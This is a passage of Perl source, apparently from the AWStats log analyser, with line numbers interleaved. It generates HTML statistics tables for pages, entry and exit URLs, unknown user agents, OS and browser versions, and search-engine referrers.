                        print "$Center<a name=\"urls\">&nbsp;</a><br />\n";
14789
 
 
14790
 
                        # Show filter form
14791
 
                        &ShowFormFilter( "urlfilter", $FilterIn{'url'}, $FilterEx{'url'} );
14792
 
 
14793
 
                        # Show URL list
14794
 
                        my $title = '';
14795
 
                        my $cpt   = 0;
14796
 
                        if ( $HTMLOutput{'urldetail'} ) {
14797
 
                                $title = $Message[19];
14798
 
                                $cpt   = ( scalar keys %_url_p );
14799
 
                        }
14800
 
                        if ( $HTMLOutput{'urlentry'} ) {
14801
 
                                $title = $Message[104];
14802
 
                                $cpt   = ( scalar keys %_url_e );
14803
 
                        }
14804
 
                        if ( $HTMLOutput{'urlexit'} ) {
14805
 
                                $title = $Message[116];
14806
 
                                $cpt   = ( scalar keys %_url_x );
14807
 
                        }
14808
 
                        &tab_head( "$title", 19, 0, 'urls' );
14809
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
14810
 
                        if ( $FilterIn{'url'} || $FilterEx{'url'} ) {
14811
 
                                if ( $FilterIn{'url'} ) {
14812
 
                                        print "$Message[79] <b>$FilterIn{'url'}</b>";
14813
 
                                }
14814
 
                                if ( $FilterIn{'url'} && $FilterEx{'url'} ) { print " - "; }
14815
 
                                if ( $FilterEx{'url'} ) {
14816
 
                                        print "Exclude $Message[79] <b>$FilterEx{'url'}</b>";
14817
 
                                }
14818
 
                                if ( $FilterIn{'url'} || $FilterEx{'url'} ) { print ": "; }
14819
 
                                print "$cpt $Message[28]";
14820
 
                                if ( $MonthRequired ne 'all' ) {
14821
 
                                        if ( $HTMLOutput{'urldetail'} ) {
14822
 
                                                print
14823
 
"<br />$Message[102]: $TotalDifferentPages $Message[28]";
14824
 
                                        }
14825
 
                                }
14826
 
                        }
14827
 
                        else { print "$Message[102]: $cpt $Message[28]"; }
14828
 
                        print "</th>";
14829
 
                        if ( $ShowPagesStats =~ /P/i ) {
14830
 
                                print
14831
 
                                  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[29]</th>";
14832
 
                        }
14833
 
                        if ( $ShowPagesStats =~ /B/i ) {
14834
 
                                print
14835
 
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
14836
 
                        }
14837
 
                        if ( $ShowPagesStats =~ /E/i ) {
14838
 
                                print
14839
 
                                  "<th bgcolor=\"#$color_e\" width=\"80\">$Message[104]</th>";
14840
 
                        }
14841
 
                        if ( $ShowPagesStats =~ /X/i ) {
14842
 
                                print
14843
 
                                  "<th bgcolor=\"#$color_x\" width=\"80\">$Message[116]</th>";
14844
 
                        }
14845
 
 
14846
 
                        # Call to plugins' function ShowPagesAddField
14847
 
                        foreach
14848
 
                          my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
14849
 
                        {
14850
 
 
14851
 
                                #                       my $function="ShowPagesAddField_$pluginname('title')";
14852
 
                                #                       eval("$function");
14853
 
                                my $function = "ShowPagesAddField_$pluginname";
14854
 
                                &$function('title');
14855
 
                        }
14856
 
                        print "<th>&nbsp;</th></tr>\n";
14857
 
                        $total_p = $total_k = $total_e = $total_x = 0;
14858
 
                        my $count = 0;
14859
 
                        if ( $HTMLOutput{'urlentry'} ) {
14860
 
                                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_e,
14861
 
                                        \%_url_e );
14862
 
                        }
14863
 
                        elsif ( $HTMLOutput{'urlexit'} ) {
14864
 
                                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_x,
14865
 
                                        \%_url_x );
14866
 
                        }
14867
 
                        else {
14868
 
                                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_p,
14869
 
                                        \%_url_p );
14870
 
                        }
14871
 
                        $max_p = 1;
14872
 
                        $max_k = 1;
14873
 
                        foreach my $key (@keylist) {
14874
 
                                if ( $_url_p{$key} > $max_p ) { $max_p = $_url_p{$key}; }
14875
 
                                if ( $_url_k{$key} / ( $_url_p{$key} || 1 ) > $max_k ) {
14876
 
                                        $max_k = $_url_k{$key} / ( $_url_p{$key} || 1 );
14877
 
                                }
14878
 
                        }
14879
 
                        foreach my $key (@keylist) {
14880
 
                                print "<tr><td class=\"aws\">";
14881
 
                                &ShowURLInfo($key);
14882
 
                                print "</td>";
14883
 
                                my $bredde_p = 0;
14884
 
                                my $bredde_e = 0;
14885
 
                                my $bredde_x = 0;
14886
 
                                my $bredde_k = 0;
14887
 
                                if ( $max_p > 0 ) {
14888
 
                                        $bredde_p =
14889
 
                                          int( $BarWidth * ( $_url_p{$key} || 0 ) / $max_p ) + 1;
14890
 
                                }
14891
 
                                if ( ( $bredde_p == 1 ) && $_url_p{$key} ) { $bredde_p = 2; }
14892
 
                                if ( $max_p > 0 ) {
14893
 
                                        $bredde_e =
14894
 
                                          int( $BarWidth * ( $_url_e{$key} || 0 ) / $max_p ) + 1;
14895
 
                                }
14896
 
                                if ( ( $bredde_e == 1 ) && $_url_e{$key} ) { $bredde_e = 2; }
14897
 
                                if ( $max_p > 0 ) {
14898
 
                                        $bredde_x =
14899
 
                                          int( $BarWidth * ( $_url_x{$key} || 0 ) / $max_p ) + 1;
14900
 
                                }
14901
 
                                if ( ( $bredde_x == 1 ) && $_url_x{$key} ) { $bredde_x = 2; }
14902
 
                                if ( $max_k > 0 ) {
14903
 
                                        $bredde_k =
14904
 
                                          int( $BarWidth *
14905
 
                                                  ( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) /
14906
 
                                                  $max_k ) + 1;
14907
 
                                }
14908
 
                                if ( ( $bredde_k == 1 ) && $_url_k{$key} ) { $bredde_k = 2; }
14909
 
                                if ( $ShowPagesStats =~ /P/i ) {
14910
 
                                        print "<td>$_url_p{$key}</td>";
14911
 
                                }
14912
 
                                if ( $ShowPagesStats =~ /B/i ) {
14913
 
                                        print "<td>"
14914
 
                                          . (
14915
 
                                                $_url_k{$key}
14916
 
                                                ? Format_Bytes(
14917
 
                                                        $_url_k{$key} / ( $_url_p{$key} || 1 )
14918
 
                                                  )
14919
 
                                                : "&nbsp;"
14920
 
                                          )
14921
 
                                          . "</td>";
14922
 
                                }
14923
 
                                if ( $ShowPagesStats =~ /E/i ) {
14924
 
                                        print "<td>"
14925
 
                                          . ( $_url_e{$key} ? $_url_e{$key} : "&nbsp;" ) . "</td>";
14926
 
                                }
14927
 
                                if ( $ShowPagesStats =~ /X/i ) {
14928
 
                                        print "<td>"
14929
 
                                          . ( $_url_x{$key} ? $_url_x{$key} : "&nbsp;" ) . "</td>";
14930
 
                                }
14931
 
 
14932
 
                                # Call to plugins' function ShowPagesAddField
14933
 
                                foreach my $pluginname (
14934
 
                                        keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
14935
 
                                {
14936
 
 
14937
 
                                  #                             my $function="ShowPagesAddField_$pluginname('$key')";
14938
 
                                  #                             eval("$function");
14939
 
                                        my $function = "ShowPagesAddField_$pluginname";
14940
 
                                        &$function($key);
14941
 
                                }
14942
 
                                print "<td class=\"aws\">";
14943
 
 
14944
 
                                # alt and title are not provided to reduce page size
14945
 
                                if ( $ShowPagesStats =~ /P/i ) {
14946
 
                                        print
14947
 
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"4\" /><br />";
14948
 
                                }
14949
 
                                if ( $ShowPagesStats =~ /B/i ) {
14950
 
                                        print
14951
 
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"4\" /><br />";
14952
 
                                }
14953
 
                                if ( $ShowPagesStats =~ /E/i ) {
14954
 
                                        print
14955
 
"<img src=\"$DirIcons\/other\/$BarPng{'he'}\" width=\"$bredde_e\" height=\"4\" /><br />";
14956
 
                                }
14957
 
                                if ( $ShowPagesStats =~ /X/i ) {
14958
 
                                        print
14959
 
"<img src=\"$DirIcons\/other\/$BarPng{'hx'}\" width=\"$bredde_x\" height=\"4\" />";
14960
 
                                }
14961
 
                                print "</td></tr>\n";
14962
 
                                $total_p += $_url_p{$key};
14963
 
                                $total_e += $_url_e{$key};
14964
 
                                $total_x += $_url_x{$key};
14965
 
                                $total_k += $_url_k{$key};
14966
 
                                $count++;
14967
 
                        }
14968
 
                        if ($Debug) {
14969
 
                                debug(
14970
 
"Total real / shown : $TotalPages / $total_p - $TotalEntries / $total_e - $TotalExits / $total_x - $TotalBytesPages / $total_k",
14971
 
                                        2
14972
 
                                );
14973
 
                        }
14974
 
                        $rest_p = $TotalPages - $total_p;
14975
 
                        $rest_k = $TotalBytesPages - $total_k;
14976
 
                        $rest_e = $TotalEntries - $total_e;
14977
 
                        $rest_x = $TotalExits - $total_x;
14978
 
                        if ( $rest_p > 0 || $rest_e > 0 || $rest_k > 0 ) {
14979
 
                                print
14980
 
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
14981
 
                                if ( $ShowPagesStats =~ /P/i ) {
14982
 
                                        print "<td>" . ( $rest_p ? $rest_p : "&nbsp;" ) . "</td>";
14983
 
                                }
14984
 
                                if ( $ShowPagesStats =~ /B/i ) {
14985
 
                                        print "<td>"
14986
 
                                          . (
14987
 
                                                $rest_k
14988
 
                                                ? Format_Bytes( $rest_k / ( $rest_p || 1 ) )
14989
 
                                                : "&nbsp;"
14990
 
                                          )
14991
 
                                          . "</td>";
14992
 
                                }
14993
 
                                if ( $ShowPagesStats =~ /E/i ) {
14994
 
                                        print "<td>" . ( $rest_e ? $rest_e : "&nbsp;" ) . "</td>";
14995
 
                                }
14996
 
                                if ( $ShowPagesStats =~ /X/i ) {
14997
 
                                        print "<td>" . ( $rest_x ? $rest_x : "&nbsp;" ) . "</td>";
14998
 
                                }
14999
 
 
15000
 
                                # Call to plugins' function ShowPagesAddField
15001
 
                                foreach my $pluginname (
15002
 
                                        keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
15003
 
                                {
15004
 
 
15005
 
                                        #                               my $function="ShowPagesAddField_$pluginname('')";
15006
 
                                        #                               eval("$function");
15007
 
                                        my $function = "ShowPagesAddField_$pluginname";
15008
 
                                        &$function('');
15009
 
                                }
15010
 
                                print "<td>&nbsp;</td></tr>\n";
15011
 
                        }
15012
 
                        &tab_end();
15013
 
                        &html_end(1);
15014
 
                }
15015
 
                if ( $HTMLOutput{'unknownos'} ) {
15016
 
                        print "$Center<a name=\"unknownos\">&nbsp;</a><br />\n";
15017
 
                        my $title = "$Message[46]";
15018
 
                        &tab_head( "$title", 19, 0, 'unknownos' );
15019
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>User agent ("
15020
 
                          . ( scalar keys %_unknownreferer_l )
15021
 
                          . ")</th><th>$Message[9]</th></tr>\n";
15022
 
                        $total_l = 0;
15023
 
                        my $count = 0;
15024
 
                        &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_unknownreferer_l,
15025
 
                                \%_unknownreferer_l );
15026
 
                        foreach my $key (@keylist) {
15027
 
                                my $useragent = XMLEncode( CleanXSS($key) );
15028
 
                                print "<tr><td class=\"aws\">$useragent</td>";
15029
 
                                print "<td nowrap=\"nowrap\">"
15030
 
                                  . Format_Date( $_unknownreferer_l{$key}, 1 ) . "</td>";
15031
 
                                print "</tr>\n";
15032
 
                                $total_l += 1;
15033
 
                                $count++;
15034
 
                        }
15035
 
                        $rest_l = ( scalar keys %_unknownreferer_l ) - $total_l;
15036
 
                        if ( $rest_l > 0 ) {
15037
 
                                print
15038
 
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
15039
 
                                print "<td>-</td>";
15040
 
                                print "</tr>\n";
15041
 
                        }
15042
 
                        &tab_end();
15043
 
                        &html_end(1);
15044
 
                }
15045
 
                if ( $HTMLOutput{'unknownbrowser'} ) {
15046
 
                        print "$Center<a name=\"unknownbrowser\">&nbsp;</a><br />\n";
15047
 
                        my $title = "$Message[50]";
15048
 
                        &tab_head( "$title", 19, 0, 'unknownbrowser' );
15049
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>User agent ("
15050
 
                          . ( scalar keys %_unknownrefererbrowser_l )
15051
 
                          . ")</th><th>$Message[9]</th></tr>\n";
15052
 
                        $total_l = 0;
15053
 
                        my $count = 0;
15054
 
                        &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_unknownrefererbrowser_l,
15055
 
                                \%_unknownrefererbrowser_l );
15056
 
                        foreach my $key (@keylist) {
15057
 
                                my $useragent = XMLEncode( CleanXSS($key) );
15058
 
                                print
15059
 
                                  "<tr><td class=\"aws\">$useragent</td><td nowrap=\"nowrap\">"
15060
 
                                  . Format_Date( $_unknownrefererbrowser_l{$key}, 1 )
15061
 
                                  . "</td></tr>\n";
15062
 
                                $total_l += 1;
15063
 
                                $count++;
15064
 
                        }
15065
 
                        $rest_l = ( scalar keys %_unknownrefererbrowser_l ) - $total_l;
15066
 
                        if ( $rest_l > 0 ) {
15067
 
                                print
15068
 
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
15069
 
                                print "<td>-</td>";
15070
 
                                print "</tr>\n";
15071
 
                        }
15072
 
                        &tab_end();
15073
 
                        &html_end(1);
15074
 
                }
15075
 
                if ( $HTMLOutput{'osdetail'} ) {
15076
 
 
15077
 
                        # Show os versions
15078
 
                        print "$Center<a name=\"osversions\">&nbsp;</a><br />";
15079
 
                        my $title = "$Message[59]";
15080
 
                        &tab_head( "$title", 19, 0, 'osversions' );
15081
 
                        print
15082
 
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[58]</th>";
15083
 
                        print
15084
 
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
15085
 
                        print "<th>&nbsp;</th>";
15086
 
                        print "</tr>\n";
15087
 
                        $total_h = 0;
15088
 
                        my $count = 0;
15089
 
                        &BuildKeyList( MinimumButNoZero( scalar keys %_os_h, 500 ),
15090
 
                                1, \%_os_h, \%_os_h );
15091
 
                        my %keysinkeylist = ();
15092
 
                        $max_h = 1;
15093
 
 
15094
 
                        # Count total by family
15095
 
                        my %totalfamily_h = ();
15096
 
                        my $TotalFamily   = 0;
15097
 
                  OSLOOP: foreach my $key (@keylist) {
15098
 
                                $total_h += $_os_h{$key};
15099
 
                                if ( $_os_h{$key} > $max_h ) { $max_h = $_os_h{$key}; }
15100
 
                                foreach my $family ( keys %OSFamily ) {
15101
 
                                        if ( $key =~ /^$family/i ) {
15102
 
                                                $totalfamily_h{$family} += $_os_h{$key};
15103
 
                                                $TotalFamily            += $_os_h{$key};
15104
 
                                                next OSLOOP;
15105
 
                                        }
15106
 
                                }
15107
 
                        }
15108
 
 
15109
 
                        # Write records grouped in a browser family
15110
 
                        foreach my $family ( keys %OSFamily ) {
15111
 
                                my $p = '&nbsp;';
15112
 
                                if ($total_h) {
15113
 
                                        $p = int( $totalfamily_h{$family} / $total_h * 1000 ) / 10;
15114
 
                                        $p = "$p %";
15115
 
                                }
15116
 
                                my $familyheadershown = 0;
15117
 
                                foreach my $key ( reverse sort keys %_os_h ) {
15118
 
                                        if ( $key =~ /^$family(.*)/i ) {
15119
 
                                                if ( !$familyheadershown ) {
15120
 
                                                        my $family_name = '';
15121
 
                                                        if ( $OSFamily{$family} ) {
15122
 
                                                                $family_name = $OSFamily{$family};
15123
 
                                                        }
15124
 
                                                        print
15125
 
"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$family_name</b></td>";
15126
 
                                                        print "<td><b>"
15127
 
                                                          . int( $totalfamily_h{$family} )
15128
 
                                                          . "</b></td><td><b>$p</b></td><td>&nbsp;</td>";
15129
 
                                                        print "</tr>\n";
15130
 
                                                        $familyheadershown = 1;
15131
 
                                                }
15132
 
                                                $keysinkeylist{$key} = 1;
15133
 
                                                my $ver = $1;
15134
 
                                                my $p   = '&nbsp;';
15135
 
                                                if ($total_h) {
15136
 
                                                        $p = int( $_os_h{$key} / $total_h * 1000 ) / 10;
15137
 
                                                        $p = "$p %";
15138
 
                                                }
15139
 
                                                print "<tr>";
15140
 
                                                print "<td"
15141
 
                                                  . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
15142
 
                                                  . "><img src=\"$DirIcons\/os\/$key.png\""
15143
 
                                                  . AltTitle("")
15144
 
                                                  . " /></td>";
15145
 
 
15146
 
                                                print "<td class=\"aws\">$OSHashLib{$key}</td>";
15147
 
                                                my $bredde_h = 0;
15148
 
                                                if ( $max_h > 0 ) {
15149
 
                                                        $bredde_h =
15150
 
                                                          int( $BarWidth * ( $_os_h{$key} || 0 ) / $max_h )
15151
 
                                                          + 1;
15152
 
                                                }
15153
 
                                                if ( ( $bredde_h == 1 ) && $_os_h{$key} ) {
15154
 
                                                        $bredde_h = 2;
15155
 
                                                }
15156
 
                                                print "<td>$_os_h{$key}</td><td>$p</td>";
15157
 
                                                print "<td class=\"aws\">";
15158
 
 
15159
 
                                                # alt and title are not provided to reduce page size
15160
 
                                                if ($ShowOSStats) {
15161
 
                                                        print
15162
 
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
15163
 
                                                }
15164
 
                                                print "</td>";
15165
 
                                                print "</tr>\n";
15166
 
                                                $count++;
15167
 
                                        }
15168
 
                                }
15169
 
                        }
15170
 
 
15171
 
                        # Write other records
15172
 
                        my $familyheadershown = 0;
15173
 
                        foreach my $key (@keylist) {
15174
 
                                if ( $keysinkeylist{$key} ) { next; }
15175
 
                                if ( !$familyheadershown )  {
15176
 
                                        my $p = '&nbsp;';
15177
 
                                        if ($total_h) {
15178
 
                                                $p =
15179
 
                                                  int( ( $total_h - $TotalFamily ) / $total_h * 1000 ) /
15180
 
                                                  10;
15181
 
                                                $p = "$p %";
15182
 
                                        }
15183
 
                                        print
15184
 
"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$Message[2]</b></td>";
15185
 
                                        print "<td><b>"
15186
 
                                          . ( $total_h - $TotalFamily )
15187
 
                                          . "</b></td><td><b>$p</b></td><td>&nbsp;</td>";
15188
 
                                        print "</tr>\n";
15189
 
                                        $familyheadershown = 1;
15190
 
                                }
15191
 
                                my $p = '&nbsp;';
15192
 
                                if ($total_h) {
15193
 
                                        $p = int( $_os_h{$key} / $total_h * 1000 ) / 10;
15194
 
                                        $p = "$p %";
15195
 
                                }
15196
 
                                print "<tr>";
15197
 
                                if ( $key eq 'Unknown' ) {
15198
 
                                        print "<td"
15199
 
                                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
15200
 
                                          . "><img src=\"$DirIcons\/browser\/unknown.png\""
15201
 
                                          . AltTitle("")
15202
 
                                          . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
15203
 
                                }
15204
 
                                else {
15205
 
                                        my $keywithoutcumul = $key;
15206
 
                                        $keywithoutcumul =~ s/cumul$//i;
15207
 
                                        my $libos = $OSHashLib{$keywithoutcumul}
15208
 
                                          || $keywithoutcumul;
15209
 
                                        my $nameicon = $keywithoutcumul;
15210
 
                                        $nameicon =~ s/[^\w]//g;
15211
 
                                        print "<td"
15212
 
                                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
15213
 
                                          . "><img src=\"$DirIcons\/os\/$nameicon.png\""
15214
 
                                          . AltTitle("")
15215
 
                                          . " /></td><td class=\"aws\">$libos</td>";
15216
 
                                }
15217
 
                                my $bredde_h = 0;
15218
 
                                if ( $max_h > 0 ) {
15219
 
                                        $bredde_h =
15220
 
                                          int( $BarWidth * ( $_os_h{$key} || 0 ) / $max_h ) + 1;
15221
 
                                }
15222
 
                                if ( ( $bredde_h == 1 ) && $_os_h{$key} ) { $bredde_h = 2; }
15223
 
                                print "<td>$_os_h{$key}</td><td>$p</td>";
15224
 
                                print "<td class=\"aws\">";
15225
 
 
15226
 
                                # alt and title are not provided to reduce page size
15227
 
                                if ($ShowOSStats) {
15228
 
                                        print
15229
 
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
15230
 
                                }
15231
 
                                print "</td>";
15232
 
                                print "</tr>\n";
15233
 
                        }
15234
 
                        &tab_end();
15235
 
                        &html_end(1);
15236
 
                }
15237
 
                if ( $HTMLOutput{'browserdetail'} ) {
15238
 
 
15239
 
                        # Show browsers versions
15240
 
                        print "$Center<a name=\"browsersversions\">&nbsp;</a><br />";
15241
 
                        my $title = "$Message[21]";
15242
 
                        &tab_head( "$title", 19, 0, 'browsersversions' );
15243
 
                        print
15244
 
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[58]</th>";
15245
 
                        print
15246
 
"<th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
15247
 
                        print "<th>&nbsp;</th>";
15248
 
                        print "</tr>\n";
15249
 
                        $total_h = 0;
15250
 
                        my $count = 0;
15251
 
                        &BuildKeyList( MinimumButNoZero( scalar keys %_browser_h, 500 ),
15252
 
                                1, \%_browser_h, \%_browser_h );
15253
 
                        my %keysinkeylist = ();
15254
 
                        $max_h = 1;
15255
 
 
15256
 
                        # Count total by family
15257
 
                        my %totalfamily_h = ();
15258
 
                        my $TotalFamily   = 0;
15259
 
                  BROWSERLOOP: foreach my $key (@keylist) {
15260
 
                                $total_h += $_browser_h{$key};
15261
 
                                if ( $_browser_h{$key} > $max_h ) {
15262
 
                                        $max_h = $_browser_h{$key};
15263
 
                                }
15264
 
                                foreach my $family ( keys %BrowsersFamily ) {
15265
 
                                        if ( $key =~ /^$family/i ) {
15266
 
                                                $totalfamily_h{$family} += $_browser_h{$key};
15267
 
                                                $TotalFamily            += $_browser_h{$key};
15268
 
                                                next BROWSERLOOP;
15269
 
                                        }
15270
 
                                }
15271
 
                        }
15272
 
 
15273
 
                        # Write records grouped in a browser family
15274
 
                        foreach my $family (
15275
 
                                sort { $BrowsersFamily{$a} <=> $BrowsersFamily{$b} }
15276
 
                                keys %BrowsersFamily
15277
 
                          )
15278
 
                        {
15279
 
                                my $p = '&nbsp;';
15280
 
                                if ($total_h) {
15281
 
                                        $p = int( $totalfamily_h{$family} / $total_h * 1000 ) / 10;
15282
 
                                        $p = "$p %";
15283
 
                                }
15284
 
                                my $familyheadershown = 0;
15285
 
 
15286
 
                                #foreach my $key ( reverse sort keys %_browser_h ) {
15287
 
                                foreach my $key ( reverse sort SortBrowsers keys %_browser_h ) {
15288
 
                                        if ( $key =~ /^$family(.*)/i ) {
15289
 
                                                if ( !$familyheadershown ) {
15290
 
                                                        print
15291
 
"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>"
15292
 
                                                          . uc($family)
15293
 
                                                          . "</b></td>";
15294
 
                                                        print "<td>&nbsp;</td><td><b>"
15295
 
                                                          . int( $totalfamily_h{$family} )
15296
 
                                                          . "</b></td><td><b>$p</b></td><td>&nbsp;</td>";
15297
 
                                                        print "</tr>\n";
15298
 
                                                        $familyheadershown = 1;
15299
 
                                                }
15300
 
                                                $keysinkeylist{$key} = 1;
15301
 
                                                my $ver = $1;
15302
 
                                                my $p   = '&nbsp;';
15303
 
                                                if ($total_h) {
15304
 
                                                        $p =
15305
 
                                                          int( $_browser_h{$key} / $total_h * 1000 ) / 10;
15306
 
                                                        $p = "$p %";
15307
 
                                                }
15308
 
                                                print "<tr>";
15309
 
                                                print "<td"
15310
 
                                                  . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
15311
 
                                                  . "><img src=\"$DirIcons\/browser\/$family.png\""
15312
 
                                                  . AltTitle("")
15313
 
                                                  . " /></td>";
15314
 
                                                print "<td class=\"aws\">"
15315
 
                                                  . ucfirst($family) . " "
15316
 
                                                  . ( $ver ? "$ver" : "?" ) . "</td>";
15317
 
                                                print "<td>"
15318
 
                                                  . (
15319
 
                                                        $BrowsersHereAreGrabbers{$family}
15320
 
                                                        ? "<b>$Message[112]</b>"
15321
 
                                                        : "$Message[113]"
15322
 
                                                  )
15323
 
                                                  . "</td>";
15324
 
                                                my $bredde_h = 0;
15325
 
                                                if ( $max_h > 0 ) {
15326
 
                                                        $bredde_h =
15327
 
                                                          int( $BarWidth * ( $_browser_h{$key} || 0 ) /
15328
 
                                                                  $max_h ) + 1;
15329
 
                                                }
15330
 
                                                if ( ( $bredde_h == 1 ) && $_browser_h{$key} ) {
15331
 
                                                        $bredde_h = 2;
15332
 
                                                }
15333
 
                                                print "<td>$_browser_h{$key}</td><td>$p</td>";
15334
 
                                                print "<td class=\"aws\">";
15335
 
 
15336
 
                                                # alt and title are not provided to reduce page size
15337
 
                                                if ($ShowBrowsersStats) {
15338
 
                                                        print
15339
 
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
15340
 
                                                }
15341
 
                                                print "</td>";
15342
 
                                                print "</tr>\n";
15343
 
                                                $count++;
15344
 
                                        }
15345
 
                                }
15346
 
                        }
15347
 
 
15348
 
                        # Write other records
15349
 
                        my $familyheadershown = 0;
15350
 
                        foreach my $key (@keylist) {
15351
 
                                if ( $keysinkeylist{$key} ) { next; }
15352
 
                                if ( !$familyheadershown )  {
15353
 
                                        my $p = '&nbsp;';
15354
 
                                        if ($total_h) {
15355
 
                                                $p =
15356
 
                                                  int( ( $total_h - $TotalFamily ) / $total_h * 1000 ) /
15357
 
                                                  10;
15358
 
                                                $p = "$p %";
15359
 
                                        }
15360
 
                                        print
15361
 
"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$Message[2]</b></td>";
15362
 
                                        print "<td>&nbsp;</td><td><b>"
15363
 
                                          . ( $total_h - $TotalFamily )
15364
 
                                          . "</b></td><td><b>$p</b></td><td>&nbsp;</td>";
15365
 
                                        print "</tr>\n";
15366
 
                                        $familyheadershown = 1;
15367
 
                                }
15368
 
                                my $p = '&nbsp;';
15369
 
                                if ($total_h) {
15370
 
                                        $p = int( $_browser_h{$key} / $total_h * 1000 ) / 10;
15371
 
                                        $p = "$p %";
15372
 
                                }
15373
 
                                print "<tr>";
15374
 
                                if ( $key eq 'Unknown' ) {
15375
 
                                        print "<td"
15376
 
                                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
15377
 
                                          . "><img src=\"$DirIcons\/browser\/unknown.png\""
15378
 
                                          . AltTitle("")
15379
 
                                          . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td width=\"80\">?</td>";
15380
 
                                }
15381
 
                                else {
15382
 
                                        my $keywithoutcumul = $key;
15383
 
                                        $keywithoutcumul =~ s/cumul$//i;
15384
 
                                        my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul}
15385
 
                                          || $keywithoutcumul;
15386
 
                                        my $nameicon = $BrowsersHashIcon{$keywithoutcumul}
15387
 
                                          || "notavailable";
15388
 
                                        print "<td"
15389
 
                                          . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
15390
 
                                          . "><img src=\"$DirIcons\/browser\/$nameicon.png\""
15391
 
                                          . AltTitle("")
15392
 
                                          . " /></td><td class=\"aws\">$libbrowser</td><td>"
15393
 
                                          . (
15394
 
                                                $BrowsersHereAreGrabbers{$key}
15395
 
                                                ? "<b>$Message[112]</b>"
15396
 
                                                : "$Message[113]"
15397
 
                                          )
15398
 
                                          . "</td>";
15399
 
                                }
15400
 
                                my $bredde_h = 0;
15401
 
                                if ( $max_h > 0 ) {
15402
 
                                        $bredde_h =
15403
 
                                          int( $BarWidth * ( $_browser_h{$key} || 0 ) / $max_h ) +
15404
 
                                          1;
15405
 
                                }
15406
 
                                if ( ( $bredde_h == 1 ) && $_browser_h{$key} ) {
15407
 
                                        $bredde_h = 2;
15408
 
                                }
15409
 
                                print "<td>$_browser_h{$key}</td><td>$p</td>";
15410
 
                                print "<td class=\"aws\">";
15411
 
 
15412
 
                                # alt and title are not provided to reduce page size
15413
 
                                if ($ShowBrowsersStats) {
15414
 
                                        print
15415
 
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />";
15416
 
                                }
15417
 
                                print "</td>";
15418
 
                                print "</tr>\n";
15419
 
                        }
15420
 
                        &tab_end();
15421
 
                        &html_end(1);
15422
 
                }
15423
 
                if ( $HTMLOutput{'refererse'} ) {
15424
 
                        print "$Center<a name=\"refererse\">&nbsp;</a><br />\n";
15425
 
                        my $title = "$Message[40]";
15426
 
                        &tab_head( "$title", 19, 0, 'refererse' );
15427
 
                        print
15428
 
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$TotalDifferentSearchEngines $Message[122]</th>";
15429
 
                        print
15430
 
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
15431
 
                        print
15432
 
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
15433
 
                        print "</tr>\n";
15434
 
                        $total_s = 0;
15435
 
                        my $count = 0;
15436
 
                        &BuildKeyList(
15437
 
                                $MaxRowsInHTMLOutput,
15438
 
                                $MinHit{'Refer'},
15439
 
                                \%_se_referrals_h,
15440
 
                                (
15441
 
                                        ( scalar keys %_se_referrals_p )
15442
 
                                        ? \%_se_referrals_p
15443
 
                                        : \%_se_referrals_h
15444
 
                                )
15445
 
                        );    # before 5.4 only hits were recorded
15446
 
 
15447
 
                        foreach my $key (@keylist) {
15448
 
                                my $newreferer = $SearchEnginesHashLib{$key} || CleanXSS($key);
15449
 
                                my $p_p;
15450
 
